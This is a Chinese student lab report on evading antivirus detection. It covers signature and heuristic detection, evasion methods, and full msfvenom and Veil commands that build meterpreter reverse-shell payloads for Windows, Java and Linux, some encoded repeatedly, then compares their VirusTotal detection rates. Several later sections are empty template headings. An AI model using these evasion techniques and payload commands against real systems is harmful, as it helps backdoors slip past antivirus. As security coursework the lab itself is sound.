1.实验内容
基本实验内容如下:
- 学会使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具 - 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验要求回答问题及解答:
(1)杀软是如何检测出恶意代码的?
杀毒软件检测恶意代码主要通过以下几种技术:
①特征码检测:这是最基本的检测技术,杀毒软件通过比对恶意代码的特征码来识别病毒。特征码是一段能够唯一标识恶意代码的数据,可以是文件的MD5值或者文件中唯一存在的一段字符串。
②启发式扫描:启发式技术通过分析文件的行为和内容来检测病毒。它使用类似于人工智能的算法,根据病毒的行为模式和特征来识别恶意软件。如果文件的行为与已知的恶意软件相似,或者其内容包含可疑的代码模式,杀毒软件就会将其标记为潜在的病毒。
③行为分析:类似于启发式检测,但更侧重于程序运行时的行为。通过监视程序的行为,如文件操作、注册表操作、网络操作等,来判断其是否为恶意代码。
④机器学习:现代杀毒软件还采用了机器学习技术,通过分析大量的病毒样本和安全事件数据,自动学习病毒的行为模式和特征,然后利用这些知识来优化启发式扫描和主动防御算法,提高检测的响应速度和准确性。
(2)免杀是做什么?
免杀技术,指通过一系列的技术手段,使得安全软件无法识别出恶意代码的行为特征,从而绕过安全检测。
(3)免杀的基本方法有哪些?
免杀技术是一种使恶意软件逃避杀毒软件检测的方法,以下是几种常见的免杀手段:
① 静态免杀方法
代码混淆:通过变换恶意软件的代码结构、逻辑或数据,增加杀毒软件分析的难度,使得病毒特征难以被识别。
特征码修改:通过对恶意软件的特征码进行微调,使其与杀毒软件数据库中的特征码不匹配,从而避免被检测。
加壳与加密:对恶意软件进行加壳处理,即将其压缩并与其他代码结合,运行时再解压执行;同时,对代码进行加密,防止逆向工程分析。
② 动态免杀方法
内存注入:将恶意代码注入到正在运行的进程内存中,利用这些进程作为掩护执行恶意操作,以避开直接的文件系统检测。
行为模拟:在执行过程中,恶意软件模仿正常软件的行为模式,以规避杀毒软件的行为监控系统。
沙箱检测:恶意软件会检测自身是否运行在沙箱环境中,如果是,则不执行恶意行为,以免被沙箱分析技术捕获。
③ 其他免杀方法
条件编译:根据特定的编译条件,有选择性地编译恶意软件的某些部分,这样只有在满足特定条件下,恶意代码才会被编译并执行。
利用系统漏洞:通过利用操作系统或应用程序的漏洞,恶意软件可以绕过安全防护措施,这种技术需要对漏洞有深入的了解。合法文件利用:将恶意代码嵌入到常见的合法文件类型中,如图片、文档或办公软件文件,利用这些文件的普遍性来逃避杀毒软件的扫描。
2.实验过程
总共6个任务,如下:
(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(2)使用veil;
(3)使用C + shellcode编程;
(4)使用加壳工具;
(5)通过组合应用各种技术实现恶意代码免杀;
(6)用另一电脑实测,在杀软开启的情况下,能否运行并回连成功,注明电脑的杀软名称与版本。
我们一个一个来看。
(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(1.1)原理:
msf直接生成的带有payload特征码比较明显,容易被检测。如果使用编码器就可以改变payload的形态而不影响其功能,使得payload更难被检测出。
(1.2)步骤:
我们可以先看看msf可以生成哪些类型的包。输入msfvenom --list formats查看:

待会我们分别生成针对不同系统环境的.exe/.jar/.elf文件,并使用编码器对它们进行编码,在查看它们被检测的可能性。
1)msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=2213 -f exe > 20232313wzy.exe
一个针对windows的exe可执行文件,2213端口,反向连接。
2)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.126.129 LPORT=2213 -f exe > 20232313wzy-2.exe
使用编码器对payload进行编码后的一个针对windows的exe可执行文件,2213端口,反向连接。
-e x86/shikata_ga_nai: 这指定了要使用的编码器;
-b ‘\x00’: 这指定了需要避免的坏字符集。
3)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.126.129 LPORT=2213 -f exe > 20232313wzy-3.exe
多次对payload进行编码,-i 10表示编码10次;还是一个针对windows的exe可执行文件,2213端口,反向连接。
4)msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=2213 -f jar > 20232313wzy-4.jar
一个针对java的jar可执行文件,2213端口,反向连接。
5)msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=2213 -e x86/shikata_ga_nai -i 10 -f jar > 20232313wzy-5.jar
多次对payload进行编码,-i 10表示编码10次;还是一个针对java的jar可执行文件,2213端口,反向连接。
6)msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=2213 -f elf > 20232313wzy-6.elf
一个针对Linux的elf可执行文件,2213端口,反向连接。
7)msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=2213 -e x86/shikata_ga_nai -i 10 -f elf > 20232313wzy-7.elf
多次对payload进行编码,-i 10表示编码10次。还是一个针对Linux的elf可执行文件,2213端口,反向连接。
经过一番操作,得到七个包如下:

接着把这些包通过共享文件夹转移到主机上。如何创建共享文件夹在此不再赘述。
使用ls /mnt/hgfs可以查看到我们有一个共享文件夹VMware_share。
使用cp 20232313wzy* /mnt/hgfs/VMware_share/可以将所有前缀为"20232313"的文件复制到这里面。
使用ls /mnt/hgfs/VMware_share/查看,发现转移成功。

到我们的主机上,访问https://www.virustotal.com/来打开VirusTotal的链接。将包放入其中进行检测,结果如下:

以上是针对windows的exe可执行文件;

以上是payload进行编码后的一个针对windows的exe可执行文件;

以上是多次对payload进行编码的针对windows的exe可执行文件;

以上是针对java的jar可执行文件;

以上是多次对payload进行编码的针对java的jar可执行文件;

以上是针对Linux的elf可执行文件;

以上是多次对payload进行编码针对Linux的elf可执行文件。
以上。可以看到:针对Linux的payload恶意文件再对payload多次编码后效果较好,其他环境的则效果一般。
(2)使用veil,生成一个.exe恶意文件
怎么下载veil,在此不做赘述,虽然我们有可能会花费大量的时间来完成这一步。
(2.1)原理:
Veil 是一个专注于免杀的框架,可用于生成难以被传统杀毒软件检测的恶意Payload(如反向TCP Shell)。
(2.2)步骤:
输入veil进入。
输入use evasion,进入Evil—Evasion;
输入list,查看可使用的payload类型;

在这里我们使用c/meterpretermrev_tcp.py,即7号,所以输入use 7转到如下界面:

接下来依次输入配置:
set LHOST 192.168.126.129
set LPORT 2213
generate

(3)
(3.1)原理:
(3.2)步骤:
(4)
(4.1)原理:
(4.2)步骤:
(5)
(5.1)原理:
(5.2)步骤:
3.问题及解决方案
-
问题1:
-
问题1解决方案:
-
问题2:
-
问题2解决方案:
4.学习感悟、思考等
站在巨人的肩膀上干活事半功倍。
参考资料
- 2019-2020-2 20175205侯颖《网络对抗技术》Exp2 后门原理与实践